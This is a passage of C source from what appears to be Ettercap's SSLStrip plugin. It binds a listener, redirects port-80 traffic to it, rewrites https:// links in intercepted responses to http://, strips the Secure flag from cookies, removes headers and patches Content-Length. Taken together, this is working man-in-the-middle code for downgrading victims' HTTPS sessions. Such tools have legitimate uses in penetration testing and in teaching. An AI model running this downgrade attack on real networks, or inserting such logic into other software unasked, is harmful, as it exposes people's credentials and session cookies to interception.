994 //Initiailize buffer
995 SAFE_CALLOC(connection->response->html, 1, size*nmemb);
996 if (connection->response->html == NULL)
997 return 0;
998
999 memcpy(connection->response->html, ptr, size*nmemb);
1000 } else {
1001 char *b;
1002
1003 SAFE_CALLOC(b, 1, connection->response->len+(size*nmemb));
1004 BUG_IF(b == NULL);
1005
1006 memcpy(b, connection->response->html, connection->response->len);
1007 memcpy(b+connection->response->len, ptr, size*nmemb);
1008
1009 SAFE_FREE(connection->response->html);
1010 connection->response->html = b;
1011
1012 //SAFE_REALLOC(connection->response->html, connection->response->len + (size*nmemb));
1013 }
1014
1015 connection->response->len += (size*nmemb);
1016 //connection->response->html[connection->response->len] = '\0';
1017
1018
1019 return size*nmemb;
1020 }
1021
1022 EC_THREAD_FUNC(http_child_thread)
1023 {
1024 struct packet_object po;
1025 int ret_val;
1026 struct http_connection *connection;
1027
1028 connection = (struct http_connection *)args;
1029 ec_thread_init();
1030
1031 /* Get peer and set to non-blocking */
1032 if (http_sync_conn(connection) == -E_INVALID) {
1033 DEBUG_MSG("SSLStrip: Could not get peer!!");
1034 if (connection->fd != -1)
1035 close_socket(connection->fd);
1036 SAFE_FREE(connection->response);
1037 SAFE_FREE(connection->request);
1038 SAFE_FREE(connection);
1039 ec_thread_exit();
1040 }
1041
1042
1043 /* A fake SYN ACK for profiles */
1044 http_initialize_po(&po, NULL, 0);
1045 po.len = 64;
1046 po.L4.flags = (TH_SYN | TH_ACK);
1047 packet_disp_data(&po, po.DATA.data, po.DATA.len);
1048 http_parse_packet(connection, HTTP_SERVER, &po);
1049 http_initialize_po(&po, po.DATA.data, po.DATA.len);
1050
1051
1052 LOOP {
1053 http_initialize_po(&po, NULL, 0);
1054 ret_val = http_read(connection, &po);
1055 DEBUG_MSG("SSLStrip: Returned %d", ret_val);
1056 BREAK_ON_ERROR(ret_val, connection, po);
1057
1058 if (ret_val == E_SUCCESS) {
1059 /* Look in the https_links list and if the url matches, send to HTTPS server.
1060 Otherwise send to HTTP server */
1061 po.len = po.DATA.len;
1062 po.L4.flags |= TH_PSH;
1063
1064 /* NULL terminate buffer */
1065 po.DATA.data[po.DATA.len] = 0;
1066
1067 packet_destroy_object(&po);
1068 packet_disp_data(&po, po.DATA.data, po.DATA.len);
1069
1070 //DEBUG_MSG("SSLStrip: Calling parser for request");
1071 http_parse_packet(connection, HTTP_CLIENT, &po);
1072
1073 http_handle_request(connection, &po);
1074 }
1075
1076 }
1077
1078 return NULL;
1079
1080 }
1081
1082 static void http_remove_https(struct http_connection *connection)
1083 {
1084 char *buf_cpy = connection->response->html;
1085 size_t https_len = strlen("https://");
1086 size_t http_len = strlen("http://");
1087 struct https_link *l, *link;
1088 size_t offset = 0;
1089 int rc;
1090 int ovector[30];
1091 char changed = 0;
1092 char *new_html, *url;
1093 size_t new_size = 0;
1094 size_t size = connection->response->len;
1095 int url_len, match_start, match_end = 0;
1096
1097 if(!buf_cpy)
1098 return;
1099
1100 SAFE_CALLOC(new_html, 1, connection->response->len);
1101 BUG_IF(new_html==NULL);
1102
1103 while(offset < size && (rc = pcre_exec(https_url_pcre, NULL, buf_cpy, size, offset, 0, ovector, 30)) > 0) {
1104 match_start = ovector[0];
1105 match_end = ovector[1];
1106
1107 /* copy 1:1 up to match */
1108 memcpy(new_html + new_size, buf_cpy + offset, match_start - offset);
1109 new_size += match_start - offset;
1110
1111 /* extract URL w/o https:// */
1112 url_len = match_end - match_start - https_len;
1113 url = strndup(buf_cpy + match_start + https_len, url_len);
1114
1115 if(url == NULL)
1116 {
1117 USER_MSG("SSLStrip: http_remove_https: url is NULL\n");
1118 return;
1119 }
1120
1121 /* copy "http://" */
1122 memcpy(new_html + new_size, "http://", http_len);
1123 new_size += http_len;
1124
1125 /* append URL */
1126 memcpy(new_html + new_size, url, url_len);
1127 new_size += url_len;
1128
1129 /* set new offset for next round */
1130 offset = match_end;
1131
1132 //Add URL to list
1133
1134 char found = 0;
1135 LIST_LOCK;
1136 LIST_FOREACH(link, &https_links, next) {
1137 if(!strcmp(link->url, url)) {
1138 found=1;
1139 break;
1140 }
1141 }
1142
1143 LIST_UNLOCK;
1144
1145 if(!found) {
1146 SAFE_CALLOC(l, 1, sizeof(struct https_link));
1147 BUG_IF(l==NULL);
1148
1149 SAFE_CALLOC(l->url, 1, 1 + url_len);
1150 BUG_IF(l->url==NULL);
1151 memcpy(l->url, url, url_len);
1152 Decode_Url((u_char *)l->url);
1153 l->last_used = time(NULL);
1154 DEBUG_MSG("SSLStrip: Inserting %s to HTTPS List", l->url);
1155 LIST_INSERT_HEAD(&https_links, l, next);
1156 }
1157
1158 SAFE_FREE(url);
1159
1160 if (!changed)
1161 changed=1;
1162 }
1163
1164
1165 if (changed) {
1166 //Copy rest of data (if any)
1167 memcpy(new_html + new_size, buf_cpy + offset, size - offset);
1168 new_size += size - offset;
1169
1170 /* replace response */
1171 SAFE_FREE(connection->response->html);
1172 connection->response->html = new_html;
1173 connection->response->len = new_size;
1174 } else {
1175 /* Thanks but we don't need it */
1176 SAFE_FREE(new_html);
1177 }
1178
1179 /* Iterate through all http_request and remove any that have not been used lately */
1180 struct https_link *link_tmp;
1181 time_t now = time(NULL);
1182
1183 LIST_LOCK;
1184
1185 LIST_FOREACH_SAFE(l, &https_links, next, link_tmp) {
1186 if(now - l->last_used >= REQUEST_TIMEOUT) {
1187 LIST_REMOVE(l, next);
1188 SAFE_FREE(l);
1189 }
1190 }
1191
1192 LIST_UNLOCK;
1193
1194 }
1195
1196 static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po)
1197 {
1198 FUNC_DECODER_PTR(start_decoder);
1199 int len;
1200
1201 memcpy(&po->L3.src, &connection->ip[direction], sizeof(struct ip_addr));
1202 memcpy(&po->L3.dst, &connection->ip[!direction], sizeof(struct ip_addr));
1203
1204 po->L4.src = connection->port[direction];
1205 po->L4.dst = connection->port[!direction];
1206
1207 po->flags |= PO_FROMSSLSTRIP;
1208 /* get time */
1209 gettimeofday(&po->ts, NULL);
1210
1211 switch(ip_addr_is_local(&PACKET->L3.src, NULL)) {
1212 case E_SUCCESS:
1213 PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL);
1214 PACKET->PASSIVE.flags |= FP_HOST_LOCAL;
1215 break;
1216 case -E_NOTFOUND:
1217 PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL;
1218 PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL;
1219 break;
1220 case -E_INVALID:
1221 PACKET->PASSIVE.flags = FP_UNKNOWN;
1222 break;
1223 }
1224
1225 /* let's start fromt he last stage of decoder chain */
1226
1227 //DEBUG_MSG("SSLStrip: Parsing %s", po->DATA.data);
1228 start_decoder = get_decoder(APP_LAYER, PL_DEFAULT);
1229 start_decoder(po->DATA.data, po->DATA.len, &len, po);
1230 }
1231
1232 static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len)
1233 {
1234 /*
1235 * Allocate the data buffer and initialize
1236 * fake headers. Headers len is set to 0.
1237 * XXX - Be sure to not modify these len.
1238 */
1239
1240
1241 memset(po, 0, sizeof(struct packet_object));
1242
1243 if (p_data == NULL) {
1244 SAFE_FREE(po->DATA.data);
1245 SAFE_CALLOC(po->DATA.data, 1, HTTP_MAX);
1246 po->DATA.len = HTTP_MAX;
1247 BUG_IF(po->DATA.data==NULL);
1248 } else {
1249 SAFE_FREE(po->DATA.data);
1250 po->DATA.data = p_data;
1251 po->DATA.len = len;
1252 }
1253
1254 po->L2.header = po->DATA.data;
1255 po->L3.header = po->DATA.data;
1256 po->L3.options = po->DATA.data;
1257 po->L4.header = po->DATA.data;
1258 po->L4.options = po->DATA.data;
1259 po->fwd_packet = po->DATA.data;
1260 po->packet = po->DATA.data;
1261
1262 po->L3.proto = htons(LL_TYPE_IP);
1263 po->L3.ttl = 64;
1264 po->L4.proto = NL_TYPE_TCP;
1265
1266 }
1267 /* main HTTP listen thread, this will accept connections
1268 * destined to port 80 */
1269
1270 static int http_bind_wrapper(void)
1271 {
1272 bind_port = EC_MAGIC_16;
1273 struct sockaddr_in sa_in;
1274 #ifdef WITH_IPV6
1275 struct sockaddr_in6 sa_in6;
1276 int optval = 1;
1277 #endif
1278
1279 ec_thread_init();
1280
1281 DEBUG_MSG("http_listen_thread: initialized and ready");
1282
1283 main_fd = socket(AF_INET, SOCK_STREAM, 0);
1284 if (main_fd == -1) { /* oops, unable to create socket */
1285 DEBUG_MSG("Unable to create socket() for HTTP...");
1286 return -E_FATAL;
1287 }
1288 memset(&sa_in, 0, sizeof(sa_in));
1289 sa_in.sin_family = AF_INET;
1290 sa_in.sin_addr.s_addr = INADDR_ANY;
1291
1292 do {
1293 bind_port++;
1294 sa_in.sin_port = htons(bind_port);
1295 } while (bind(main_fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0);
1296
1297 if(listen(main_fd, 100) == -1) {
1298 DEBUG_MSG("SSLStrip plugin: unable to listen() on socket");
1299 return -E_FATAL;
1300 }
1301
1302 #ifdef WITH_IPV6
1303 /* create & bind IPv6 socket on the same port */
1304 main_fd6 = socket(AF_INET6, SOCK_STREAM, 0);
1305 if (main_fd6 == -1) { /* unable to create socket */
1306 DEBUG_MSG("SSLStrip: Unable to create socket() for HTTP over IPv6: %s.",
1307 strerror(errno));
1308 return -E_FATAL;
1309 }
1310 memset(&sa_in6, 0, sizeof(sa_in6));
1311 sa_in6.sin6_family = AF_INET6;
1312 sa_in6.sin6_addr = in6addr_any;
1313 sa_in6.sin6_port = htons(bind_port);
1314
1315 /* we only listen on v6 as we use dedicated sockets per AF */
1316 if (setsockopt(main_fd6, IPPROTO_IPV6, IPV6_V6ONLY,
1317 &optval, sizeof(optval)) == -1) {
1318 DEBUG_MSG("SSLStrip: Unable to set IPv6 socket to IPv6 only: %s.",
1319 strerror(errno));
1320 return -E_FATAL;
1321 }
1322
1323 /* bind to IPv6 on the same port as the IPv4 socket */
1324 if (bind(main_fd6, (struct sockaddr *)&sa_in6, sizeof(sa_in6)) == -1) {
1325 DEBUG_MSG("SSLStrip: Unable to bind() IPv6 socket to port %d: %s.",
1326 bind_port, strerror(errno));
1327 return -E_FATAL;
1328 }
1329
1330 /* finally set socket into listen state */
1331 if (listen(main_fd6, 100) == -1) {
1332 DEBUG_MSG("SSLStrip: Unable to listen() on IPv6 socket: %s.",
1333 strerror(errno));
1334 return -E_FATAL;
1335 }
1336 #else
1337 /* properly init fd even when not used - necessary for select call */
1338 main_fd6 = 0;
1339 #endif
1340
1341 USER_MSG("SSLStrip plugin: bind 80 on %d\n", bind_port);
1342
1343 if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV4,
1344 NULL, 80, bind_port) != E_SUCCESS)
1345 return -E_FATAL;
1346
1347 #ifdef WITH_IPV6
1348 if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV6,
1349 NULL, 80, bind_port) != E_SUCCESS)
1350 return -E_FATAL;
1351 #endif
1352
1353 return E_SUCCESS;
1354
1355 }
1356
1357 static void http_wipe_connection(struct http_connection *connection)
1358 {
1359 DEBUG_MSG("SSLStrip: http_wipe_connection");
1360 close_socket(connection->fd);
1361
1362 SAFE_FREE(connection->response->html);
1363 SAFE_FREE(connection->request->payload);
1364 SAFE_FREE(connection->request->url);
1365 SAFE_FREE(connection->request);
1366 SAFE_FREE(connection->response);
1367 SAFE_FREE(connection);
1368 }
1369
1370 void http_remove_header(char *header, struct http_connection *connection) {
1371 DEBUG_MSG("SSLStrip: http_remove_header");
1372 if (strstr(connection->response->html, header)) {
1373 char *r = strdup(connection->response->html);
1374 size_t len = strlen(connection->response->html);
1375
1376 if(r == NULL)
1377 {
1378 USER_MSG("SSLStrip: http_remove_header: r is NULL\n");
1379 return;
1380 }
1381
1382 char *b = strstr(r, header);
1383 char *end = strstr(b, "\r\n");
1384 end += 2;
1385
1386 int header_length = end - b;
1387 len -= header_length;
1388
1389 int start = b - r;
1390 char *remaining = strdup(end);
1391 BUG_IF(remaining==NULL);
1392
1393 memcpy(r+start, remaining, strlen(remaining));
1394 SAFE_FREE(connection->response->html);
1395
1396 connection->response->html = strndup(r, len);
1397 if(connection->response->html == NULL)
1398 {
1399 USER_MSG("SSLStrip: http_remove_header: connection->response->html is NULL\n");
1400 return;
1401 }
1402
1403 connection->response->len = len;
1404
1405 SAFE_FREE(remaining);
1406 SAFE_FREE(r);
1407 }
1408 }
1409
1410 void http_remove_secure_from_cookie(struct http_connection *connection) {
1411 if (!strstr(connection->response->html, "Set-Cookie")) {
1412 return;
1413 }
1414
1415 size_t newlen = 0;
1416 size_t pos = 0;
1417 char *buf_cpy = connection->response->html;
1418 char *new_html;
1419
1420 SAFE_CALLOC(new_html, 1, connection->response->len);
1421 char changed = 0;
1422
1423 regmatch_t match[4];
1424
1425 while(!regexec(&find_cookie_re, buf_cpy, 4, match, REG_NOTBOL)) {
1426 memcpy(new_html+newlen, buf_cpy, match[1].rm_eo);
1427 newlen += match[1].rm_eo;
1428
1429 memcpy(new_html+newlen, buf_cpy+match[3].rm_so, match[3].rm_eo - match[3].rm_so);
1430 newlen += match[3].rm_eo - match[3].rm_so;
1431
1432 buf_cpy += match[0].rm_eo-2;
1433 pos += match[0].rm_eo-2;
1434 changed=1;
1435 }
1436
1437 if (changed) {
1438 memcpy(new_html+newlen, buf_cpy, connection->response->len - pos);
1439 newlen += connection->response->len - pos;
1440
1441 SAFE_FREE(connection->response->html);
1442
1443 connection->response->html = new_html;
1444 connection->response->len = newlen;
1445 } else {
1446 SAFE_FREE(new_html);
1447 }
1448 }
1449
1450 void http_update_content_length(struct http_connection *connection) {
1451 if (strstr(connection->response->html, "Content-Length: ")) {
1452 char *buf = connection->response->html;
1453 char *content_length = strstr(connection->response->html, "Content-Length:");
1454 content_length += strlen("Content-Length: ");
1455
1456 char c_length[20];
1457 memset(&c_length, '\0', 20);
1458 snprintf(c_length, 20, "%lu", connection->response->len - (strstr(buf, "\r\n\r\n") + 4 - buf));
1459
1460 memcpy(buf+(content_length-buf), c_length, strlen(c_length));
1461 }
1462 }
1463
1464 // vim:ts=3:expandtab